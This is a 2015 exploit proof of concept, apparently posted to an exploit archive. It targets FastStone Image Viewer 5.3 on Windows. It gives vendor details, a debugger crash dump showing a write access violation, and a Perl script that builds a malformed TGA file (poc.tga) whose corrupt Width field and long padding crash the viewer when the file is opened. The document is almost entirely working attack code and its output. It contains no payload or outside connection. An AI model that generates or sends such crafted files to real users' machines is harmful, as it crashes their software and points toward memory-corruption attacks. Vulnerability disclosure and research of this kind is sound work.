# Exploit Title : FastStoneImage Viewer (Corrupted tga) IMAGESPECIFICATION.Width Crash POC # Product : FastStoneImage Viewer # Date : 25.02.2015 # Exploit Author : ITDefensor Vulnerability Research Team http://itdefensor.ru/ # Software Link : http://www.faststone.org/FSViewerDownload.htm # Vulnerable version : 5.3 (Latest at the moment) and probably previous versions # Vendor Homepage : http://www.faststone.org/ # Tested on : FastStoneImage Viewer 5.3 installed on Windows 7 x64, Windows Server 2008 # CVE : unknown at the moment #============================================================================================ # Open created POC file (poc.tga) with FastStoneImage Viewer # Details #*** ERROR: Module load completed but symbols could not be loaded for image00000000`00400000 #image00000000_00400000+0x9357: #00409357 893a mov dword ptr [edx],edi ds:002b:00e00880=???????? #0:000:x86> kb #ChildEBP RetAddr Args to Child #WARNING: Stack unwind information not available. Following frames may be wrong. #0018f688 004ff000 0018f6b4 00404619 0018f6ac image00000000_00400000+0x9357 #0018f6ac 00425374 0018f6c0 0042537e 0018f6d8 image00000000_00400000+0xff000 #0018f6d8 004255a2 0018f72c 0018f6f0 004256bb image00000000_00400000+0x25374 #0018f72c 004257ee 0018f784 00425822 0018f758 image00000000_00400000+0x255a2 #============================================================================================ #!/usr/bin/perl -w $tga_id = "tga poc example" ; $tga_header = "\xf" . # IDLength "\x00" . # ColorMapType "\xa" ; # ImageType $tga_cms_spec = "\x00\x00" . # FirstIndexEntry "\x00\x00" . # ColorMapLength "\x00" ; # ColorMapEntrySize $tga_image_spec = "\x00\x00" . # XOrigin "\x00\x00" . # YOrigin "\x00\xa0" . # Width <--- ! Incorrect field, leads to application crash "\x80\x00" . # Height "\x10" . # PixelDepth "\x1" ; # ImageDescriptor $tga_file_header = $tga_header . $tga_cms_spec . $tga_image_spec . $tga_id ; $tga = $tga_file_header . "a" x 10000 ; open FILE, ">poc.tga" or die("Can't open poc.tga\n") ; binmode(FILE) ; print FILE $tga ; close FILE ;